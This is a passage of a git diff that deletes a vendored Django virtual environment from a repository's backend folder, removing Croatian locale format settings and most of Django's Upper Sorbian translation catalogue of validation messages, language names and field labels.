nije dostupno jer je %(class_name)s.allow_future " -"False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "%(verbose_name)s - pretragom nisu pronađeni rezultati za upit" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Nevažeća stranica (%(page_number)s):%(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Sadržaji direktorija ovdje nisu dozvoljeni." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Sadržaj direktorija %(directory)s" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hr/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/hr/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hr/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/hr/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 272ea28c..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/hr/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hr/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/hr/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index a3115001..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/hr/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hr/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/hr/formats.py deleted file mode 100644 index a2dc4573..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/hr/formats.py +++ /dev/null @@ -1,44 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j. E Y." -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j. E Y. H:i" -YEAR_MONTH_FORMAT = "F Y." -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = "j.m.Y." -SHORT_DATETIME_FORMAT = "j.m.Y. H:i" -FIRST_DAY_OF_WEEK = 1 - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# Kept ISO formats as they are in first position -DATE_INPUT_FORMATS = [ - "%Y-%m-%d", # '2006-10-25' - "%d.%m.%Y.", # '25.10.2006.' - "%d.%m.%y.", # '25.10.06.' - "%d. %m. %Y.", # '25. 10. 2006.' - "%d. %m. %y.", # '25. 10. 06.' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%d.%m.%Y. %H:%M:%S", # '25.10.2006. 14:30:59' - "%d.%m.%Y. %H:%M:%S.%f", # '25.10.2006. 14:30:59.000200' - "%d.%m.%Y. %H:%M", # '25.10.2006. 14:30' - "%d.%m.%y. %H:%M:%S", # '25.10.06. 14:30:59' - "%d.%m.%y. %H:%M:%S.%f", # '25.10.06. 14:30:59.000200' - "%d.%m.%y. %H:%M", # '25.10.06. 14:30' - "%d. %m. %Y. %H:%M:%S", # '25. 10. 2006. 14:30:59' - "%d. %m. %Y. %H:%M:%S.%f", # '25. 10. 2006. 14:30:59.000200' - "%d. %m. %Y. %H:%M", # '25. 10. 2006. 14:30' - "%d. %m. %y. %H:%M:%S", # '25. 10. 06. 14:30:59' - "%d. %m. %y. %H:%M:%S.%f", # '25. 10. 06. 14:30:59.000200' - "%d. %m. %y. %H:%M", # '25. 10. 06. 14:30' -] - -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hsb/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/hsb/LC_MESSAGES/django.mo deleted file mode 100644 index b4738a03..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/hsb/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hsb/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/hsb/LC_MESSAGES/django.po deleted file mode 100644 index 5766e319..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/hsb/LC_MESSAGES/django.po +++ /dev/null @@ -1,1384 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Michael Wolf , 2016-2025 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Michael Wolf , 2016-2025\n" -"Language-Team: Upper Sorbian (http://app.transifex.com/django/django/" -"language/hsb/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: hsb\n" -"Plural-Forms: nplurals=4; plural=(n%100==1 ? 0 : n%100==2 ? 1 : n%100==3 || " -"n%100==4 ? 2 : 3);\n" - -msgid "Afrikaans" -msgstr "Afrikaanšćina" - -msgid "Arabic" -msgstr "Arabšćina" - -msgid "Algerian Arabic" -msgstr "Algeriska arabšćina" - -msgid "Asturian" -msgstr "Asturišćina" - -msgid "Azerbaijani" -msgstr "Azerbajdźanšćina" - -msgid "Bulgarian" -msgstr "Bołharšćina" - -msgid "Belarusian" -msgstr "Běłorušćina" - -msgid "Bengali" -msgstr "Bengalšćina" - -msgid "Breton" -msgstr "Bretonšćina" - -msgid "Bosnian" -msgstr "Bosnišćina" - -msgid "Catalan" -msgstr "Katalanšćina" - -msgid "Central Kurdish (Sorani)" -msgstr "Centralna kurdišćina (Sorani)" - -msgid "Czech" -msgstr "Čěšćina" - -msgid "Welsh" -msgstr "Walizišćina" - -msgid "Danish" -msgstr "Danšćina" - -msgid "German" -msgstr "Němčina" - -msgid "Lower Sorbian" -msgstr "Delnjoserbšćina" - -msgid "Greek" -msgstr "Grjekšćina" - -msgid "English" -msgstr "Jendźelšćina" - -msgid "Australian English" -msgstr "Awstralska jendźelšćina" - -msgid "British English" -msgstr "Britiska jendźelšćina" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Španišćina" - -msgid "Argentinian Spanish" -msgstr "Argentinska španišćina" - -msgid "Colombian Spanish" -msgstr "Kolumbiska španišćina" - -msgid "Mexican Spanish" -msgstr "Mexiska španišćina" - -msgid "Nicaraguan Spanish" -msgstr "Nikaraguaska španišćina" - -msgid "Venezuelan Spanish" -msgstr "Venezuelska španišćina" - -msgid "Estonian" -msgstr "Estišćina" - -msgid "Basque" -msgstr "Baskišćina" - -msgid "Persian" -msgstr "Persišćina" - -msgid "Finnish" -msgstr "Finšćina" - -msgid "French" -msgstr "Francošćina" - -msgid "Frisian" -msgstr "Frizišćina" - -msgid "Irish" -msgstr "Irišćina" - -msgid "Scottish Gaelic" -msgstr "Šotiska gaelšćina" - -msgid "Galician" -msgstr "Galicišćina" - -msgid "Hebrew" -msgstr "Hebrejšćina" - -msgid "Hindi" -msgstr "Hindišćina" - -msgid "Croatian" -msgstr "Chorwatšćina" - -msgid "Upper Sorbian" -msgstr "Hornjoserbšćina" - -msgid "Hungarian" -msgstr "Madźaršćina" - -msgid "Armenian" -msgstr "Armenšćina" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonezišćina" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandšćina" - -msgid "Italian" -msgstr "Italšćina" - -msgid "Japanese" -msgstr "Japanšćina" - -msgid "Georgian" -msgstr "Georgišćina" - -msgid "Kabyle" -msgstr "Kabylšćina" - -msgid "Kazakh" -msgstr "Kazachšćina" - -msgid "Khmer" -msgstr "Khmeršćina" - -msgid "Kannada" -msgstr "Kannadšćina" - -msgid "Korean" -msgstr "Korejšćina" - -msgid "Kyrgyz" -msgstr "Kirgišćina" - -msgid "Luxembourgish" -msgstr "Luxemburgšćina" - -msgid "Lithuanian" -msgstr "Litawšćina" - -msgid "Latvian" -msgstr "Letišćina" - -msgid "Macedonian" -msgstr "Makedonšćina" - -msgid "Malayalam" -msgstr "Malajalam" - -msgid "Mongolian" -msgstr "Mongolšćina" - -msgid "Marathi" -msgstr "Marathišćina" - -msgid "Malay" -msgstr "Malajšćina" - -msgid "Burmese" -msgstr "Myanmaršćina" - -msgid "Norwegian Bokmål" -msgstr "Norwegski bokmål" - -msgid "Nepali" -msgstr "Nepalšćina" - -msgid "Dutch" -msgstr "Nižozemšćina" - -msgid "Norwegian Nynorsk" -msgstr "Norwegski nynorsk" - -msgid "Ossetic" -msgstr "Osetšćina" - -msgid "Punjabi" -msgstr "Pundźabišćina" - -msgid "Polish" -msgstr "Pólšćina" - -msgid "Portuguese" -msgstr "Portugalšćina" - -msgid "Brazilian Portuguese" -msgstr "Brazilska portugalšćina" - -msgid "Romanian" -msgstr "Rumunšćina" - -msgid "Russian" -msgstr "Rušćina" - -msgid "Slovak" -msgstr "Słowakšćina" - -msgid "Slovenian" -msgstr "Słowjenšćina" - -msgid "Albanian" -msgstr "Albanšćina" - -msgid "Serbian" -msgstr "Serbišćina" - -msgid "Serbian Latin" -msgstr "Serbšćina, łaćonska" - -msgid "Swedish" -msgstr "Šwedšćina" - -msgid "Swahili" -msgstr "Suahelšćina" - -msgid "Tamil" -msgstr "Tamilšćina" - -msgid "Telugu" -msgstr "Telugušćina" - -msgid "Tajik" -msgstr "Tadźikišćina" - -msgid "Thai" -msgstr "Thaišćina" - -msgid "Turkmen" -msgstr "Turkmenšćina" - -msgid "Turkish" -msgstr "Turkowšćina" - -msgid "Tatar" -msgstr "Tataršćina" - -msgid "Udmurt" -msgstr "Udmurtšćina" - -msgid "Uyghur" -msgstr "Ujguršćina" - -msgid "Ukrainian" -msgstr "Ukrainšćina" - -msgid "Urdu" -msgstr "Urdušćina" - -msgid "Uzbek" -msgstr "Uzbekšćina" - -msgid "Vietnamese" -msgstr "Vietnamšćina" - -msgid "Simplified Chinese" -msgstr "Zjednorjene chinšćina" - -msgid "Traditional Chinese" -msgstr "Tradicionalna chinšćina" - -msgid "Messages" -msgstr "Powěsće" - -msgid "Site Maps" -msgstr "Přehlady sydła" - -msgid "Static Files" -msgstr "Statiske dataje" - -msgid "Syndication" -msgstr "Syndikacija" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Tute čisko strony cyła ličba njeje." - -msgid "That page number is less than 1" -msgstr "Tute čisło strony je mjeńše hač 1." - -msgid "That page contains no results" -msgstr "Tuta strona wuslědki njewobsahuje" - -msgid "Enter a valid value." -msgstr "Zapodajće płaćiwu hódnotu." - -msgid "Enter a valid domain name." -msgstr "Zapodajće płaćiwe domenowe mjeno." - -msgid "Enter a valid URL." -msgstr "Zapodajće płaćiwy URL." - -msgid "Enter a valid integer." -msgstr "Zapodajće płaćiwu cyłu ličbu." - -msgid "Enter a valid email address." -msgstr "Zapodajće płaćiwu e-mejlowu adresu." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Zapodajće płaćiwe adresowe mjeno, kotrež jenož pismiki, ličby, podsmužki abo " -"wjazawki wobsahuje." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Zapodajće płaćiwe „adresowe mjeno“, kotrež jenož pismiki, ličby, podsmužki " -"abo wjazawki wobsahuje." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Zapodajće płaćiwu %(protocol)s-adresu." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 abo IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Zapodajće jenož přez komy dźělene cyfry," - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Zawěsćće, zo tuta hódnota je %(limit_value)s (je %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Zawěsćće, zo hódnota je mjeńša hač abo runja %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Zawěsćće, zo tuta hódnota je wjetša hač abo runja %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -"Zawěsćće, zo tuta hódnota je množina kročeloweje wulkosće %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Zawěsćće, zo tuta hódnota je mnoho króć kročeloweje wulkosće " -"%(limit_value)s, započinajo z %(offset)s, na př. %(offset)s, " -"%(valid_value1)s, %(valid_value2)s a tak dale." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Zawěsćće, zo tuta hódnota ma znajmjeńša %(limit_value)d znamješko (ma " -"%(show_value)d)." -msgstr[1] "" -"Zawěsćće, zo tuta hódnota ma znajmjeńša %(limit_value)d znamješce (ma " -"%(show_value)d)." -msgstr[2] "" -"Zawěsćće, zo tuta hódnota ma znajmjeńša %(limit_value)d znamješka (ma " -"%(show_value)d)." -msgstr[3] "" -"Zawěsćće, zo tuta hódnota ma znajmjeńša %(limit_value)d znamješkow (ma " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Zawěsćće, zo tuta hódnota ma maksimalnje %(limit_value)d znamješko (ima " -"%(show_value)d)." -msgstr[1] "" -"Zawěsćće, zo tuta hódnota ma maksimalnje %(limit_value)d znamješce (ima " -"%(show_value)d)." -msgstr[2] "" -"Zawěsćće, zo tuta hódnota ma maksimalnje %(limit_value)d znamješka (ima " -"%(show_value)d)." -msgstr[3] "" -"Zawěsćće, zo tuta hódnota ma maksimalnje %(limit_value)d znamješkow (ima " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Zapodajće ličbu." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Zawěsćće, zo njeje wjace hač %(max)s cyfry dohromady." -msgstr[1] "Zawěsćće, zo njeje wjace hač %(max)s cyfrow dohromady." -msgstr[2] "Zawěsćće, zo njeje wjace hač %(max)s cyfrow dohromady." -msgstr[3] "Zawěsćće, zo njeje wjace hač %(max)s cyfrow dohromady." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Zawěsćće, zo njeje wjace hač %(max)s decimalneho městna." -msgstr[1] "Zawěsćće, zo njeje wjace hač %(max)s decimalneju městnow." -msgstr[2] "Zawěsćće, zo njeje wjace hač %(max)s decimalnych městnow." -msgstr[3] "Zawěsćće, zo njeje wjace hač %(max)s decimalnych městnow." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Zawěsćće, zo njeje wjace hač %(max)s cyfry před decimalnej komu." -msgstr[1] "Zawěsćće, zo njeje wjace hač %(max)s cyfrow před decimalnej komu." -msgstr[2] "Zawěsćće, zo njeje wjace hač %(max)s cyfrow před decimalnej komu." -msgstr[3] "Zawěsćće, zo njeje wjace hač %(max)s cyfrow před decimalnej komu." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Datajowy sufiks ' %(extension)s' dowoleny njeje. Dowolene sufiksy su: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Prózdne znamješka dowolene njejsu." - -msgid "and" -msgstr "a" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s z tutym %(field_labels)s hižo eksistuje." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Wobmjezowanje \"%(name)s\" je překročene." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Hódnota %(value)r płaćiwa wólba njeje." - -msgid "This field cannot be null." -msgstr "Tute polo njesmě nul być." - -msgid "This field cannot be blank." -msgstr "Tute polo njesmě prózdne być." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s z tutym %(field_label)s hižo eksistuje." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s dyrbi za %(date_field_label)s %(lookup_type)s jónkróćne być." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Polo typa: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "Hódnota „%(value)s“ dyrbi pak True pak False być." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "Hódnota „%(value)s“ dyrbi pak True, False pak None być." - -msgid "Boolean (Either True or False)" -msgstr "Boolean (pak True pak False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Znamješkowy rjećazk (hač %(max_length)s)" - -msgid "String (unlimited)" -msgstr "Znamješkowy rjećazk (njewobmjezowany)" - -msgid "Comma-separated integers" -msgstr "Cyłe ličby dźělene přez komu" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"Hódnota „%(value)s“ ma njepłaćiwy datumowy format. Dyrbi we formaće DD.MM." -"YYYY być." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"Hódnota „%(value)s“ ma korektny format (DD.MM.YYYY), ale je njepłaćiwy datum." - -msgid "Date (without time)" -msgstr "Datum (bjez časa)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"Hódnota „%(value)s“ ma njepłaćiwy format. Dyrbi we formaće DD.MM.YYYY HH:MM[:" -"ss[.uuuuuu]][TZ] być." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"Hódnota „%(value)s“ ma korektny format (DD.MM.YYYY HH:MM[:ss[.uuuuuu]][TZ]), " -"ale je njepłaćiwy datum/čas." - -msgid "Date (with time)" -msgstr "Datum (z časom)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "Hódnota „%(value)s“ dyrbi decimalna ličba być." - -msgid "Decimal number" -msgstr "Decimalna ličba" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"Hódnota „%(value)s“ ma njepłaćiwy format. Dyrbi w formaće [DD] [HH:[MM:]]ss[." -"uuuuuu] być." - -msgid "Duration" -msgstr "Traće" - -msgid "Email address" -msgstr "E-mejlowa adresa" - -msgid "File path" -msgstr "Datajowa šćežka" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Hódnota „%(value)s“ dyrbi decimalna ličba być." - -msgid "Floating point number" -msgstr "Komowa ličba typa float" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Hódnota „%(value)s“ dyrbi integer być." - -msgid "Integer" -msgstr "Integer" - -msgid "Big (8 byte) integer" -msgstr "Big (8 byte) integer" - -msgid "Small integer" -msgstr "Mała cyła ličba" - -msgid "IPv4 address" -msgstr "IPv4-adresa" - -msgid "IP address" -msgstr "IP-adresa" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Hódnota „%(value)s“ dyrbi pak None, True pak False być." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (pak True, False pak None)" - -msgid "Positive big integer" -msgstr "Pozitiwna wulka cyła ličba" - -msgid "Positive integer" -msgstr "Pozitiwna cyła ličba" - -msgid "Positive small integer" -msgstr "Pozitiwna mała cyła ličba" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Adresowe mjeno (hač %(max_length)s)" - -msgid "Text" -msgstr "Tekst" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"Hódnota „%(value)s“ ma njepłaćiwy format. Dyrbi we formaće HH:MM[:ss[." -"uuuuuu]] być." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Hódnota „%(value)s“ ma korektny format (HH:MM[:ss[.uuuuuu]]), ale je " -"njepłaćiwy čas." - -msgid "Time" -msgstr "Čas" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Hrube binarne daty" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "„%(value)s“ płaćiwy UUID njeje." - -msgid "Universally unique identifier" -msgstr "Uniwerselnje jónkróćny identifikator" - -msgid "File" -msgstr "Dataja" - -msgid "Image" -msgstr "Wobraz" - -msgid "A JSON object" -msgstr "JSON-objekt" - -msgid "Value must be valid JSON." -msgstr "Hódnota dyrbi płaćiwy JSON być." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "Instanca %(model)s z %(field)s %(value)r płaćiwa wólba njeje." - -msgid "Foreign Key (type determined by related field)" -msgstr "Cuzy kluč (typ so přez wotpowědne polo postaja)" - -msgid "One-to-one relationship" -msgstr "Poćah jedyn jedyn" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Poćah %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Poćahi %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Poćah wjele wjele" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Tute polo je trěbne." - -msgid "Enter a whole number." -msgstr "Zapodajće cyłu ličbu." - -msgid "Enter a valid date." -msgstr "Zapodajće płaćiwy datum." - -msgid "Enter a valid time." -msgstr "Zapodajće płaćiwy čas." - -msgid "Enter a valid date/time." -msgstr "Zapodajće płaćiwy datum/čas." - -msgid "Enter a valid duration." -msgstr "Zapodajće płaćiwe traće." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Ličba dnjow dyrbi mjez {min_days} a {max_days} być." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Žana dataja je so pósłała. Přepruwujće kodowanski typ we formularje." - -msgid "No file was submitted." -msgstr "Žana dataja je so pósłała." - -msgid "The submitted file is empty." -msgstr "Pósłana dataja je prózdna." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Zawěsćće, zo tute datajowe mjeno ma maksimalnje %(max)d znamješko (ma " -"%(length)d)." -msgstr[1] "" -"Zawěsćće, zo tute datajowe mjeno ma maksimalnje %(max)d znamješce (ma " -"%(length)d)." -msgstr[2] "" -"Zawěsćće, zo tute datajowe mjeno ma maksimalnje %(max)d znamješka (ma " -"%(length)d)." -msgstr[3] "" -"Zawěsćće, zo tute datajowe mjeno ma maksimalnje %(max)d znamješkow (ma " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Prošu zapodajće dataju abo stajće hóčku do kontrolneho kašćika, nic wobě." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Nahrajće płaćiwy wobraz. Dataja, kotruž sće nahrał, pak njebě wobraz pak bě " -"wobškodźeny wobraz. " - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Wubjerće płaćiwu wolensku móžnosć. %(value)s žana k dispoziciji stejacych " -"wolenskich móžnosćow njeje. " - -msgid "Enter a list of values." -msgstr "Zapodajće lisćinu hódnotow." - -msgid "Enter a complete value." -msgstr "Zapodajće dospołnu hódnotu." - -msgid "Enter a valid UUID." -msgstr "Zapodajće płaćiwy UUID." - -msgid "Enter a valid JSON." -msgstr "Zapodajće płaćiwy JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Schowane polo field %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Daty ManagementForm faluja abo su skepsane. Falowace pola: %(field_names)s. " -"Móžeće zmylkowu rozprawu spisać, jeli problem dale eksistuje." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Prošu wotposćelće maksimalnje %(num)d formular." -msgstr[1] "Prošu wotposćelće maksimalnje %(num)d formularaj." -msgstr[2] "Prošu wotposćelće maksimalnje %(num)d formulary." -msgstr[3] "Prošu wotposćelće maksimalnje %(num)d formularow." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Prošu zapodajće znajmjeńša %(num)d formu." -msgstr[1] "Prošu zapodajće znajmjeńša %(num)d formje." -msgstr[2] "Prošu zapodajće znajmjeńša %(num)d formy." -msgstr[3] "Prošu zapodajće znajmjeńša %(num)d formow." - -msgid "Order" -msgstr "Porjad" - -msgid "Delete" -msgstr "Zhašeć" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Prošu porjedźće dwójne daty za %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Prošu porjedźće dwójne daty za %(field)s, kotrež dyrbja jónkróćne być." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Prošu porjedźće dwójne daty za %(field_name)s, kotrež dyrbja za %(lookup)s w " -"%(date_field)s jónkróćne być." - -msgid "Please correct the duplicate values below." -msgstr "Prošu porjedźće slědowace dwójne hódnoty." - -msgid "The inline value did not match the parent instance." -msgstr "Hódnota inline nadrjadowanej instancy njewotpowěduje." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Wubjerće płaćiwu wolensku móžnosć. Tuta wolenska móžnosć jedna z k " -"dispoziciji stejacych wolenskich móžnosćow njeje." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "\"%(pk)s\" płaćiwa hódnota njeje." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s njeda so w časowym pasmje %(current_timezone)s interpretować; " -"je snano dwuzmyslny abo njeeksistuje." - -msgid "Clear" -msgstr "Zhašeć" - -msgid "Currently" -msgstr "Tuchwilu" - -msgid "Change" -msgstr "Změnić" - -msgid "Unknown" -msgstr "Njeznaty" - -msgid "Yes" -msgstr "Haj" - -msgid "No" -msgstr "Ně" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "haj,ně,snano" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bajt" -msgstr[1] "%(size)d bajtaj" -msgstr[2] "%(size)d bajty" -msgstr[3] "%(size)d bajtow" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "popołdnju" - -msgid "a.m." -msgstr "dopołdnja" - -msgid "PM" -msgstr "popołdnju" - -msgid "AM" -msgstr "dopołdnja" - -msgid "midnight" -msgstr "połnoc" - -msgid "noon" -msgstr "připołdnjo" - -msgid "Monday" -msgstr "Póndźela" - -msgid "Tuesday" -msgstr "Wutora" - -msgid "Wednesday" -msgstr "Srjeda" - -msgid "Thursday" -msgstr "Štwórtk" - -msgid "Friday" -msgstr 